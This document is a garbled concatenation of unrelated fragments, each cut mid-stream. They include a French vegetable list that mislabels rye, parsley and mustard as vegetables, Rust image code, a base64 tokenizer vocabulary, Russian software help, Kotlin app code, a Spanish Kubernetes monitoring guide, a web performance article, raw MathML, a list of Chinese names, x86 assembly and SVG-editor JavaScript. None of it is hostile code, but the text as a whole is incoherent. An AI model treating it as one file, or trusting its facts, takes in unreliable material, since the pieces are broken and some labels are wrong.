  ('Haricot vert', 'Légume'),
  ('Jicama', 'Légume'),
  ('Kale', 'Légume'),
  ('Laitue', 'Légume'),
  ('Mâche', 'Légume'),
  ('Maïs', 'Légume'),
  ('Navet', 'Légume'),
  ('Oignon', 'Légume'),
  ('Panais', 'Légume'),
  ('Pâtisson', 'Légume'),
  ('Persil', 'Légume'),
  ('Petit pois', 'Légume'),
  ('Poireau', 'Légume'),
  ('Poivron', 'Légume'),
  ('Pomme de terre', 'Légume'),
  ('Radis', 'Légume'),
  ('Rutabaga', 'Légume'),
  ('Salsifis', 'Légume'),
  ('Scarole', 'Légume'),
  ('Seigle', 'Légume'),
  ('Tomate', 'Légume'),
  ('Vitellote', 'Légume'),
  ('Yam', 'Légume'),
  ('Zucchini', 'Légume'),
  ('Bambou', 'Légume'),
  ('Coriandre', 'Légume'),
  ('Cornichon', 'Légume'),
  ('Daikon', 'Légume'),
  ('Échalote', 'Légume'),
  ('Gingembre', 'Légume'),
  ('Haricot mungo', 'Légume'),
  ('Haricot rouge', 'Légume'),
  ('Lentille', 'Légume'),
  ('Moutarde', 'Légume'),
  ('Poivron rouge', 'Légume'),
  ('Poivron vert', 'Légume'),
  ('Poivron jaune', 'Légume'),
  ('Poivron orange', 'Légume'),
  ('Safran',


_dynamic_image(src)?;

    let img = match resize {
        None => img.to_rgba(),
        Some(ref size) => {
            use image::GenericImageView;

            if img.width() != size.width || img.height() != size.height {
                image::imageops::resize(
                    &img.to_rgba(),
                    size.width,
                    size.height,
                    image::imageops::CatmullRom,
                )
            } else {
                img.to_rgba()
            }
        }
    };

    Ok(img)
}

pub(crate) fn apply_mask(mut image: image::RgbaImage, mask: ChannelMask) -> image::RgbaImage {
    let channel = match mask {
        ChannelMask::R => 0,
        ChannelMask::G => 1,
        ChannelMask::B => 2,
        ChannelMask::A => 3,
    };

    for pixel_iter in image.enumerate_pixels_mut() {
        let pixel = pixel_iter.2;
        pixel[0] = pixel[channel];
        pixel[1] = pixel[channel];
        pixel[2] = pixel[channel];
        pixel[3] = 255;
    }

    image
}

pub(crate) fn transform_to_guide_map(
    image: image::RgbaImage,
    size: Option<Dims>,
    blur_sigma: f32,
) -> image::RgbaImage {
    use image::GenericImageView;
    let dyn_img = image::DynamicImage::ImageRgba8(image);

    if let Some(s) = size {
        if dyn_img.width() != s.width || dyn_img.height() != s.height {
            dyn_img.resize(s.width, s.height, image::imageops::Triangle);
        }
    }

    dyn_img.blur(blur_sigma).grayscale().to_rgba()
}

pub(crate) fn get_histogram(img: &image::RgbaImage) -> Vec<u32> {
    let mut hist = vec![0; 256]; //0-255 incl

    let pixels = &img;

    //populate the hist
    for pixel_value in pixels
        .iter()
        .step_by(/*since RGBA image, we only care for 1st channel*/ 4)
    {
        hist[*pixel_value as usize] += 1; //increment histogram by 1
    }

    hist
}

//source will be modified to fit the target
pub(crate) fn match_histograms(source: &mut image::RgbaImage, target: &image::RgbaImage) {
    let target_hist = get_histogram(target);
    let source_hist = get_histogram(source);

    //get commutative distrib
    let target_cdf = get_cdf(&target_hist);
    let source_cdf = get_cdf(&source_hist);

    //clone the source image, modify and return
    let (dx, dy) = source.dimensions();

    for x in 0..dx {
        for y in 0..dy {
            let pixel_value = source.get_pixel(x, y)[0]; //we only care about the first channel
            let pixel_source_cdf = source_cdf[pixel_value as usize];

            //now need to find by value similar cdf in the target
            let new_pixel_val = target_cdf
                .iter()
                .position(|cdf| *cdf > pixel_source_cdf)
                .unwrap_or((pixel_value + 1) as usize) as u8
                - 1;

            let new_color: image::Rgba<


76
xat0 71977
LWNsb3Nl 71978
SXRlcmFibGU= 71979
IHJlaW1idXJzZQ== 71980
IHZvcmlnZQ== 71981
TGFtYmRh 71982
IHByZW1pc2U= 71983
IG5pZW0= 71984
4LKh4LON 71985
IGJ1YXQ= 71986
IFhZ 71987
IOCkuOCkmg== 71988
IEV4Y2VwdA== 71989
IOydtOuvuA== 71990
IEtyZWlz 71991
bmVhcg== 71992
LnNpZGU= 71993
IGRldmVsb3BtZW50YWw= 71994
LWltaQ== 71995
INi12K/YsQ== 71996
IHV0aWxpeno= 71997
INC/0L7RgdC60L7Qu9GM 71998
INC60L7QvNC/0LvQtdC6 71999
QVJFRA== 72000
55eb 72001
UGhp 72002
0Y3QvdC0 72003
IOCqpOCqsOCrgA== 72004
IG11cmRlcmVk 72005
IE5TT2JqZWN0 72006
xItp 72007
IENheQ== 72008
zqzOtg== 72009
IGtvaHRh 72010
c2VpbGxl 72011
X0NIQU5HRQ== 72012
bG9q 72013
IG5hdHVyYWxlcw== 72014
IE5vbmV0aGVsZXNz 72015
LWdlbmVyYXRpb24= 72016
INiu2K/Ypw== 72017
aWFkYQ== 72018
4KSs4KS4 72019
WVBU 72020
R2VuZQ== 72021
IOCkleCliOCkuOClgOCkqOCliw== 72022
4Kq/4Kqv4Kq+4Kqo 72023
IGxpbmVy 72024
IHBhcnRpag== 72025
4oCZYWxs 72026
aXRvdQ== 72027
IHBsYXlh 72028
IHNzbA== 72029
JmE= 72030
INC10LvQuNC/ 72031
INin2YTZhdi52YTZiNmF2KfYqg== 72032
IHJlZWw= 72033
IGtlcmph 72034
IGxvaXM= 72035
IGFsbGk= 72036
IEludGVncmF0ZWQ= 72037
INC/0L7RgdC60L7Qu9GM0LrRgw== 72038
IElBY3Rpb24= 72039
INCz0LXQvdC10YDQsA== 72040
8J+YiQ== 72041
IGhhY2tlcnM= 72042
IHNhbHZhcg== 72043
LkZhdGFsZg== 72044
SUxFTkFNRQ== 72045
4KaG4Kau 72046
IHRocmVhZGluZw== 72047
LnByb3RvYnVm 72048
b3VuY2luZw== 72049
b21vcmU= 72050
4Kqw4KuN4Kqu 72051
2YTZhdin2Ko= 72052
b2xrYQ== 72053
7Li1 72054
IGxhbmVz 72055
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA= 72056
IHBvZMOtYQ== 72057
IG5kaWs= 72058
4Kqq4KuA 72059
U2F2aW5n 72060
KCs


Файлов, содержащихся в нем и их Общий объем (Мб).

Очистка основного рабочего каталога

Нажмите Очистить рабочий каталог, для того чтобы удалить все файлы в основном рабочем каталоге, кроме занятых Вами для редактирования. Для подтверждения очистки нажмите Да.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><meta content="text/html;charset=utf-8" http-equiv="content-type"></meta><link rel="stylesheet" type="text/css" href="v8help://service_book/service_style"></link><meta name="GENERATOR" content="MSHTML 11.00.10570.1001"></meta>

Предназначена для упрощенного режима настройки прав доступа.

Настройка прав доступа пользователей осуществляется с помощью профилей. Профиль определяет некоторую совокупность действий с данными приложения, которые может выполнять пользователь. Как правило, профили соответствуют различным должностным обязанностям (или видам деятельности) пользователей приложения. Пользователю могут быть назначены одновременно несколько профилей, которые в совокупности образуют его персональные настройки прав доступа.

Для настройки прав доступа пользователя (внешнего пользователя) воспользуйтесь командой Права доступа панели навигации.

Профили

В списке Профили необходимо с помощью флажков отметить те профили, которые требуются для работы пользователя в приложении.

Профиль, как правило, объединяет несколько ролей. При назначении профиля пользователю назначаются все роли, заданные в этом профиле. Например, в профиль Администратор входит роль Полные права, которая предоставляет неограниченный доступ ко всем данным. Права доступа могут настраивать только администраторы приложения (пользователи, у которых отмечен профиль Администратор).

Различают основные и дополнител


                    binding.launchSettingsFab.compatElevation = 0f
                }
                binding.launchSettingsFab.imageAlpha = 0
            }
            else -> {
                binding.launchSettingsFab.visibility = View.VISIBLE
                binding.launchSettingsFab.backgroundTintList =
                    ContextCompat.getColorStateList(this, R.color.colorAccent)
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
                    binding.launchSettingsFab.compatElevation = 4f
                }
                binding.launchSettingsFab.imageAlpha = 180
            }
        }
    }

}
/*
 * Copyright 2019 Michael Moessner
 *
 * This file is part of Metronome.
 *
 * Metronome is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * Metronome is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Metronome.  If not, see <http://www.gnu.org/licenses/>.
 */

package de.moekadu.metronome.misc

import android.content.res.Resources
import java.text.DecimalFormat
import kotlin.math.abs
import kotlin.math.roundToInt
import kotlin.math.roundToLong

class Utilities {
    companion object {
        val bpmIncrements = floatArrayOf(0.125f, 0.25f, 0.5f, 1f, 2f, 5f, 10f)
        private const val sensitivityMin = 0.5f // steps per cm
        private const val sensitivityMax = 10.0f // steps per cm
        private val bpmFormat = DecimalFormat()

        fun dp2px(dp: Float): Float {
            return dp * Resources.getSystem().displayMetrics.density
        }

        fun px2dp(px: Float): Float {
            return px / Resources.getSystem().displayMetrics.density
        }

//        fun sp2px(sp: Int): Int {
//            return (sp * Resources.getSystem().displayMetrics.scaledDensity).toInt()
//        }

        fun sensitivity2percentage(sensitivity: Float): Float {
            return (sensitivity - sensitivityMin) / (sensitivityMax - sensitivityMin) * 100.0f
        }

        fun percentage2sensitivity(percentage: Float): Float {
            return sensitivityMin + percentage / 100.0f * (sensitivityMax - sensitivityMin)
        }

        fun px2cm(px: Float): Float {
            return px2dp(px) / 160.0f * 2.54f
        }

//        fun cm2px(cm: Float): Float {
//            return dp2px(cm * 160.0f / 2.54f)
//        }

        fun bpm2seconds(bpm: Float) = 60.0 / bpm

        fun bpm2millis(bpm: Float) = (1000.0 * 60.0 / bpm).roundToLong()
        fun bpm2nanos(bpm: Float) = ((1.0e9 * 60.0) / bpm).roundToLong()

        fun millis2bpm(dt: Long) = 60.0f * 1000.0f / dt

        fun nanos2bpm(dtNanos: Long) = (60.0f * 1e9f) / dtNanos

        fun getBpmString(bpm: Float, useGrouping: Boolean = true): String {
            val tolerance = 1e-6f
            var i = 1
            while (i < bpmIncrements.size && abs(bpm / bpmIncrements[i] - (bpm / bpmIncrements[i]).roundToInt()) < tolerance) {
                ++i
            }
            val bpmIncrement: Float = bpmIncrements[i - 1]
            return getBpmString(bpm, bpmIncrement, useGrouping)
        }

        fun getBpmString(bpm: Float, bpmIncrement: Float, use


;add", "path": "/rules/-", "value": {"apiGroups": [""], "resources": ["pods", "services", "endpoints"], "verbs": ["get", "watch", "list"]}}]'
<button class="copy-code-btn"></button>

Para eliminar una pila, ejecute kubectl delete --ignore-not-found=true -f manifests/ -f manifests/setup.

Despliegue de servicios de monitorización en Kubernetes<button data-href="#Deploy-monitoring-services-on-Kubernetes" class="anchor-icon" translate="no">
      <svg translate="no"
        aria-hidden="true"
        focusable="false"
        height="20"
        version="1.1"
        viewBox="0 0 16 16"
        width="16"
      >
        <path
          fill="#0092E4"
          fill-rule="evenodd"
          d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"
        ></path>
      </svg>
    </button>

1. Acceda a los cuadros de mando

Reenvíe el servicio Prometheus al puerto 9090, y el servicio Grafana al puerto 3000.

$ kubectl --namespace monitoring --address 0.0.0.0 port-forward svc/prometheus-k8s 9090
$ kubectl --namespace monitoring --address 0.0.0.0 port-forward svc/grafana 3000
<button class="copy-code-btn"></button>

2. Habilitar ServiceMonitor

El ServiceMonitor no está habilitado para Milvus Helm de forma predeterminada. Después de instalar el Operador Prometheus en el clúster Kubernetes, puede habilitarlo añadiendo el parámetro metrics.serviceMonitor.enabled=true.

$ helm upgrade my-release milvus/milvus --set metrics.serviceMonitor.enabled=true --reuse-values
<button class="copy-code-btn"></button>

Cuando finalice la instal


y: Boolean = false, block: Updater.() -> Unit) {
        val updater = Updater()
        updater.block()

        if (updater.updateNameOrNumber || updater.updateShortName) {
            number = updater.number
            fullName = updater.fullName
            shortName = updater.shortName ?: fullName
            kitty.setPrefix(shortName)
            processBufferNameSpannable()
        }

        if (updater.updateShortName) {
            shortcuts.updateShortcutNameIfNeeded(this@Buffer)
            if (!silently) Hotlist.adjustHotListForBuffer(this, false)
        }

        if (updater.updateTitle) {
            lines.title = updater.title ?: ""
            bufferEyes.forEach { it.onTitleChanged() }
        }

        if (updater.updateNotifyLevel) notify = updater.notify ?: Notify.default
        if (updater.updateHidden) hidden = updater.hidden
        if (updater.updateType) type = updater.type
    }

    ////////////////////////////////////////////////////////////////////////////////////////////////

    private var bufferEyes = listOf<BufferEye>()
    private var bufferNickListEye: BufferNicklistEye? = null

    @JvmField var lastReadLineServer = LINE_MISSING
    @JvmField var readUnreads = 0
    @JvmField var readHighlights = 0

    @Root private val kitty: Kitty = Kitty.make("Buffer")

    // number of hotlist updates while syncing this buffer. if >= 2, when the new update arrives, we
    // keep own unreads/highlights as they have been correct since the last update
    var hotlistUpdatesWhileSyncing = 0

    @JvmField @Volatile var flagResetHotMessagesOnNewOwnLine = false

    private var lines: Lines = Lines()
    private var nicks: Nicks = Nicks()

    fun copyOldDataFrom(buffer: Buffer) {
        lines = buffer.lines.apply { status = Lines.Status.Init }
        nicks = buffer.nicks.apply { status = Nicks.Status.Init }
    }

    val isOpen get() = openKeys.isNotEmpty()

    @JvmField var unreads = 0
    @JvmField var highlights = 0

    @JvmField var printable: Spannable? = null  // printable buffer without title (for TextView)

    init { kitty.trace("→ Buffer(number=%s, fullName=%s)", number, fullName) }

    ////////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////// LINES
    ////////////////////////////////////////////////////////////////////////////////////////////////

    // get a copy of lines, filtered or not according to global settings
    // contains read marker and header
    @AnyThread @Synchronized fun getLinesCopy() = lines.getCopy()

    @AnyThread fun linesAreReady() = lines.status.ready()

    val linesStatus: Lines.Status
        @AnyThread get() = lines.status

    private val openKeys = Keys<String>()

    // sets buffer as open or closed
    // an open buffer is such that:
    //     has processed lines and processes lines as they come by
    //     is synced
    //     is marked as "open" in the buffer list fragment or wherever
    @Synchronized fun addOpenKey(key: String, syncHotlistOnOpen: Boolean) {
        if (openKeys.add(key) == Keys.Change.BecameNotEmpty) {
            BufferList.syncBuffer(this, syncHotlistOnOpen)
            lines.ensureSpannables()
            BufferList.notifyBuffersChanged()
        }
    }

    @Synchronized fun removeOpenKey(key: String) {
        if (openKeys.remove(key) == Keys.Change.BecameEmpty) {
            BufferList.desyncBuffer(this)
            lines.invalidateSpannables()
            if (P.optimizeTraffic) {


        defaultRes(acc, TACExpr.BinRel.Eq(o1, o2, tag))
    override fun transformStructAccess(acc: ACC, struct: TACExpr, fieldName: String, tag: Tag?): RES =
        defaultRes(acc, TACExpr.StructAccess(struct, fieldName, tag))
    override fun transformStructConstant(acc: ACC, e: TACExpr.StructConstant, tag: Tag?): RES =
        defaultRes(acc, e)
    override fun <@Treapable T : Serializable> transformAnnotationExp(acc: ACC, o: TACExpr, k: MetaKey<T>, v: T): RES =
        defaultRes(acc, TACExpr.AnnotationExp(o, k, v))
}
/*
 *     The Certora Prover
 *     Copyright (C) 2025  Certora Ltd.
 *
 *     This program is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, version 3 of the License.
 *
 *     This program is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

package rules.sanity

import rules.RuleCheckResult
import solver.SolverResult
import datastructures.stdcollections.*

/**
 * Represents the importance of a [SanityCheckResult].
 * Order is important: later is "worse" than earlier.
 */
enum class SanityCheckResultOrdinal {
    PASSED,
    TIMEOUT,
    UNKNOWN,
    ERROR,
    FAILED;

    infix fun join(other: SanityCheckResultOrdinal) =
        if (this > other) {
            this
        } else {
            other
        }

    fun reportString() =
        when(this) {
            PASSED -> {
                "passed"
            }
            TIMEOUT -> {
                "timeout"
            }
            UNKNOWN -> {
                "unknown"
            }
            ERROR -> {
                "error"
            }
            FAILED -> {
                "failed"
            }
        }

    companion object {
        /**
         * Maps this [RuleCheckResult.Single] into a "default" [SanityCheckResultOrdinal].
         * This mapping function is "default" in the sense that it uses this' [RuleCheckResult.Single.result], and
         * maps [SolverResult.UNSAT] to [FAILED] and [SolverResult.SAT] to [PASSED].
         */
        fun RuleCheckResult.Single.toDefaultSanityCheckResultOrdinal() =
            when (this.result) {
                SolverResult.SAT -> {
                    PASSED
                }
                SolverResult.UNSAT -> {
                    FAILED
                }
                SolverResult.TIMEOUT -> {
                    TIMEOUT
                }
                SolverResult.UNKNOWN -> {
                    UNKNOWN
                }
                SolverResult.SANITY_FAIL -> {
                    throw IllegalArgumentException("Didn't expect to have [SolverResult.SANITY_FAIL]")
                }
            }
    }
}/*
 *     The Certora Prover
 *     Copyright (C)


mpact is, it’s impossible to know how to optimize them. Many
free web speed test tools can highlight costly third-parties including [Chrome DevTools](https://developer.chrome.com/docs/devtools/), [PageSpeed Insights](https://pagespeed.web.dev/) and
[WebPageTest](https://www.webpagetest.org/). These tools display rich diagnostic
information that can tell you _how many_ third-party scripts your
site is loading, and which take the most time to execute.

WebPageTest’s waterfall view can highlight the impact of heavy third-party
script use. Below is an example of the requests required to load the main
content for a site vs. the tracking and marketing scripts (credit: [Tags Gone Wild](https://nystudio107.com/blog/tags-gone-wild)).

{% Img src="image/C47gYyWYVMMhDmtYSLOWazuyePF2/e7SFcerlECyUqQqxm20M.jpeg", alt="waterfall view from webpagetest showing an
actual website vs the amount of time spent loading tracking scripts", width="800", height="983" %}

WebPageTest’s [domain breakdown](https://www.google.com/url?q=https://www.webpagetest.org/result/180222_J4_8fee6855d6f45719e4f37d8d89ecbc20/1/domains/&sa=D&ust=1519325015196000&usg=AFQjCNGrRivilJS9yqqpombsUMQZQJx2nw)
can also be useful for visualizing how much content comes from third-party
origins. It breaks this down by both total bytes and the number of requests:

{% Img src="image/C47gYyWYVMMhDmtYSLOWazuyePF2/xl16aV7c9rVOd28JwC70.png", alt="content breakdown by domain (first view).
Shows the percentage of requests and bytes for each third-party", width="800", height="456" %}

When you see a problematic script, figure out what the script does and ask
yourself whether the script is really that necessary. Do an A/B test to balance
the perceived value versus its impact on key user engagement or performance
metrics.

## How do I measure the impact of third-party script on my page?

### Lighthouse Boot-up Time Audit

The Lighthouse [JavaScript boot-up time audit](https://developer.chrome.com/docs/lighthouse/performance/bootup-time/) highlights scripts that have a
costly script parse, compile or evaluation time. This can be useful for
discovering CPU-intensive third-party scripts.

{% Img src="image/C47gYyWYVMMhDmtYSLOWazuyePF2/MigUKr6en9egqep32LmP.png", alt="Lighthouse showing support for script
evaluating and parsing", width="800", height="523" %}

### Lighthouse Network Payloads Audit

The Lighthouse [Network Payloads audit](https://developer.chrome.com/docs/lighthouse/performance/total-byte-weight/) identifies network
requests (including those from third-parties) that may slow down page load time.
Avoiding these requests or highlighting their cost to ad-networks can save users
money they would have spent on cellular data.

{% Img src="image/C47gYyWYVMMhDmtYSLOWazuyePF2/5l7yuCUvUgE0zdRGBZAV.png", alt="Lighthouse showing support for large network
payloads", width="800", height="477" %}

### Chrome DevTools Network Request Blocking

Chrome DevTools allows you to see how your page behaves when a particular
script, stylesheet or other resource isn’t available. This is done with [network request blocking](https://developer.chrome.com/blog/new-in-devtools-59/#block-requests), a
feature that can help measure the impact of blocking (dropping) specific
third-party resources from your page.

To enable request blocking, right click on any request in the Network panel and
select "Block Request URL". A Request blocking tab will display in the DevTools
drawer, letting you manage which requests have been blocked.

{% Img src="image/C47gYyWYVMMhDmtYSLOWazuyePF2/LnMJijjS4i9GYaYitE


2.cmml">(</mo><mi id="S3.Ex32.m1.1.1" xref="S3.Ex32.m1.1.1.cmml">h</mi><mo id="S3.Ex32.m1.7.7.1.1.1.1.2.3.2.2" stretchy="false" xref="S3.Ex32.m1.7.7.1.1.1.1.2.cmml">)</mo></mrow></mrow><mo id="S3.Ex32.m1.7.7.1.1.1.1.1" xref="S3.Ex32.m1.7.7.1.1.1.1.1.cmml">=</mo><msubsup id="S3.Ex32.m1.7.7.1.1.1.1.3" xref="S3.Ex32.m1.7.7.1.1.1.1.3.cmml"><mi id="S3.Ex32.m1.7.7.1.1.1.1.3.2.2" xref="S3.Ex32.m1.7.7.1.1.1.1.3.2.2.cmml">P</mi><mi id="S3.Ex32.m1.7.7.1.1.1.1.3.3" xref="S3.Ex32.m1.7.7.1.1.1.1.3.3.cmml">j</mi><mo id="S3.Ex32.m1.7.7.1.1.1.1.3.2.3" xref="S3.Ex32.m1.7.7.1.1.1.1.3.2.3.cmml">∗</mo></msubsup></mrow><mspace id="S3.Ex32.m1.7.7.1.1.2.3" width="1em" xref="S3.Ex32.m1.7.7.1.1.3a.cmml"></mspace><mrow id="S3.Ex32.m1.7.7.1.1.2.2.2" xref="S3.Ex32.m1.7.7.1.1.2.2.3.cmml"><mrow id="S3.Ex32.m1.7.7.1.1.2.2.1.1" xref="S3.Ex32.m1.7.7.1.1.2.2.1.1.cmml"><mrow id="S3.Ex32.m1.7.7.1.1.2.2.1.1.2" xref="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.cmml"><mtext id="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.2" xref="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.2a.cmml">for </mtext><mo id="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.1" xref="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.1.cmml"></mo><mi id="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.3" xref="S3.Ex32.m1.7.7.1.1.2.2.1.1.2.3.cmml">j</mi></mrow><mo id="S3.Ex32.m1.7.7.1.1.2.2.1.1.1" xref="S3.Ex32.m1.7.7.1.1.2.2.1.1.1.cmml">≠</mo><mrow id="S3.Ex32.m1.7.7.1.1.2.2.1.1.3.2" x


{'86668',	'王武龙江苏',	'王武龙江苏'},
{'86669',	'米凤君吉林',	'米凤君吉林'},
{'86670',	'宋勇辽宁',	'宋勇辽宁'},
{'86671',	'张家盟浙江',	'张家盟浙江'},
{'86672',	'马烈孙宁夏',	'马烈孙宁夏'},
{'86673',	'黄纪诚北京',	'黄纪诚北京'},
{'86674',	'常征贵州',	'常征贵州'},
{'86675',	'王式惠重庆',	'王式惠重庆'},
{'86676',	'周文吉',	'周文吉'},
{'86677',	'王庆录广西',	'王庆录广西'},
{'86678',	'潘广田山东',	'潘广田山东'},
{'86679',	'朱作勇甘肃',	'朱作勇甘肃'},
{'86680',	'孙善武河南',	'孙善武河南'},
{'86681',	'宋晨光江西',	'宋晨光江西'},
{'86682',	'梁春禄广西政协',	'梁春禄广西政协'},
{'86683',	'鲁家善中国交通',	'鲁家善中国交通'},
{'86684',	'金德琴中信',	'金德琴中信'},
{'86685',	'李大强神华',	'李大强神华'},
{'86686',	'吴文英纺织',	'吴文英纺织'},
{'86687',	'查克明华能',	'查克明华能'},
{'86688',	'朱小华光大',	'朱小华光大'},
{'86689',	'高严国家电力',	'高严国家电力'},
{'86690',	'王雪冰',	'王雪冰'},
{'86691',	'林孔兴',	'林孔兴'},
{'86692',	'刘金宝',	'刘金宝'},
{'86693',	'张恩照',	'张恩照'},
{'86694',	'康日新',	'康日新'},
{'86695',	'王益',	'王益'},
{'86696',	'张春江',	'张春江'},
{'86697',	'洪清源',	'洪清源'},
{'86698',	'平义杰',	'平义杰'},
{'86699',	'李恩潮',	'李恩潮'},
{'86700',	'孙小虹',	'孙小虹'},
{'86701',	'陈忠',	'陈忠'},
{'86702',	'慕绥新',	'慕绥新'},
{'86703',	'田凤岐',	'田凤岐'},
{'86704',	'麦崇楷',	'麦崇楷'},
{'86705',	'柴王群',	'柴王群'},
{'86706',	'吴振汉',	'吴振汉'


m), a
        movq    (n), b
        orq     b, a
        movq    a, evenor

// Now if n is even trigger a swap of m and n. This ensures that if
// one or other of m and n is odd then we make sure now that n is,
// as expected by our invariant later on.

        andq    $1, b
        subq    $1, b

        xorq    i, i
Lbignum_coprime_swaploop:
        movq    (m,i,8), a
        movq    (n,i,8), c
        movq    a, d
        xorq    c, d
        andq    b, d
        xorq    d, a
        xorq    d, c
        movq    a, (m,i,8)
        movq    c, (n,i,8)
        incq    i
        cmpq    k, i
        jnz     Lbignum_coprime_swaploop

// Start of the main outer loop iterated t / CHUNKSIZE times

Lbignum_coprime_outerloop:

// We need only bother with sharper l = min k (ceil(t/64)) digits
// Either both m and n fit in l digits, or m has become zero and so
// nothing happens in the loop anyway and this makes no difference.

        movq    t, l
        addq    $63, l
        shrq    $6, l
        cmpq    k, l
        cmovncq k, l

// Select upper and lower proxies for both m and n to drive the inner
// loop. The lower proxies are simply the lowest digits themselves,
// m_lo = m[0] and n_lo = n[0], while the upper proxies are bitfields
// of the two inputs selected so their top bit (63) aligns with the
// most significant bit of *either* of the two inputs.

        xorq    h1, h1 // Previous high and low for m
        xorq    l1, l1
        xorq    h2, h2 // Previous high and low for n
        xorq    l2, l2
        xorq    c2, c2 // Mask flag: previous word of one was nonzero
        // and in this case h1 and h2 are those words

        xorq    i, i
Lbignum_coprime_toploop:
        movq    (m,i,8), b
        movq    (n,i,8), c
        movq    c2, c1
        andq    h1, c1
        andq    h2, c2
        movq    b, a
        orq     c, a
        negq    a
        cmovcq  c1, l1
        cmovcq  c2, l2
        cmovcq  b, h1
        cmovcq  c, h2
        sbbq    c2, c2
        incq    i
        cmpq    l, i
        jc      Lbignum_coprime_toploop

        movq    h1, a
        orq     h2, a
        bsrq    a, c
        xorq    $63, c
        shldq   %cl, l1, h1
        shldq   %cl, l2, h2

// m_lo = m[0], n_lo = n[0];

        movq    (m), %rax
        movq    %rax, m_lo

        movq    (n), %rax
        movq    %rax, n_lo

// Now the inner loop, with i as loop counter from CHUNKSIZE down.
// This records a matrix of updates to apply to the initial
// values of m and n with, at stage j:
//
//     sgn * m' = (m_m * m - m_n * n) / 2^j
//    -sgn * n' = (n_m * m - n_n * n) / 2^j
//
// where "sgn" is either +1 or -1, and we lose track of which except
//


iewMiniView\" width=\"150\" height=\"100\" x=\"0\" y=\"0\" viewBox=\"0 0 4800 3600\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\
						<use x=\"0\" y=\"0\" xlink:href=\"#svgroot\"> </use>\
					 </svg>\
					 <div id=\"overview_window_view_box\" style=\"min-width:50px; min-height:50px; position:absolute; top:30px; left:30px; z-index:5; background-color:rgba(255,0,102,0.3);\">\
					 </div>\
				 </div>\
			</div>\
		</div>";
	$("#sidepanels").append(propsWindowHtml);

	//define dynamic animation of the view box.
	var updateViewBox = function(){
		var portHeight=parseFloat($("#workarea").css("height"));
		var portWidth=parseFloat($("#workarea").css("width"));
		var portX=$("#workarea").scrollLeft();
		var portY=$("#workarea").scrollTop();
		var windowWidth=parseFloat($("#svgcanvas").css("width"));
		var windowHeight=parseFloat($("#svgcanvas").css("height"));
		var overviewWidth=$("#overviewMiniView").attr("width");
		var overviewHeight=$("#overviewMiniView").attr("height");

		var viewBoxX=portX/windowWidth*overviewWidth;
		var viewBoxY=portY/windowHeight*overviewHeight;
		var viewBoxWidth=portWidth/windowWidth*overviewWidth;
		var viewBoxHeight=portHeight/windowHeight*overviewHeight;

		$("#overview_window_view_box").css("min-width",viewBoxWidth+"px");
		$("#overview_window_view_box").css("min-height",viewBoxHeight+"px");
		$("#overview_window_view_box").css("top",viewBoxY+"px");
		$("#overview_window_view_box").css("left",viewBoxX+"px");
	};
	$("#workarea").scroll(function(){
		if(!(overviewWindowGlobals.viewBoxDragging)){
			updateViewBox();
		}
	});
	$("#workarea").resize(updateViewBox);
	updateViewBox();

	//comphensate for changes in zoom and canvas size
	var updateViewDimensions= function(){
		var viewWidth=$("#svgroot").attr("width");
		var viewHeight=$("#svgroot").attr("height");
		var viewX=640;
		var viewY=480;

		if(svgedit.browser.isIE())
		{
			//This has only been tested with Firefox 10 and IE 9 (without chrome frame).
			//I am not sure if if is Firefox or IE that is being non compliant here.
			//Either way the one that is noncompliant may become more compliant later.
			//TAG:HACK
			//TAG:VERSION_DEPENDENT
			//TAG:BROWSER_SNIFFING
			viewX=0;
			viewY=0;
		}

		var svgWidth_old=$("#overviewMiniView").attr("width");
		var svgHeight_new=viewHeight/viewWidth*svgWidth_old;
		$("#overviewMiniView").attr("viewBox",viewX+" "+viewY+" "+viewWidth+" "+viewHeight);
		$("#overviewMiniView").attr("height",svgHeight_new);
		updateViewBox();
	};
	updateViewDimensions();

	//set up the overview window as a controller for the view port.
	overviewWindowGlobals.viewBoxDragging=false;
	var updateViewPortFromViewBox = function(){

		var windowWidth =parseFloat($("#svgcanvas").css("width" ));
		var windowHeight=parseFloat($("#svgcanvas").css("height"));
		var overviewWidth =$("#overviewMiniView").attr("width" );
		var overviewHeight=$("#overviewMiniView").attr("height");
		var viewBoxX=parseFloat($


`<span class="avatar none"></span>`
	commentlist__62  = `">Manage</a></li>`
	commentlist__63  = `<div class="meta flex">`
	commentlist__64  = `<div><a class="author" href="`
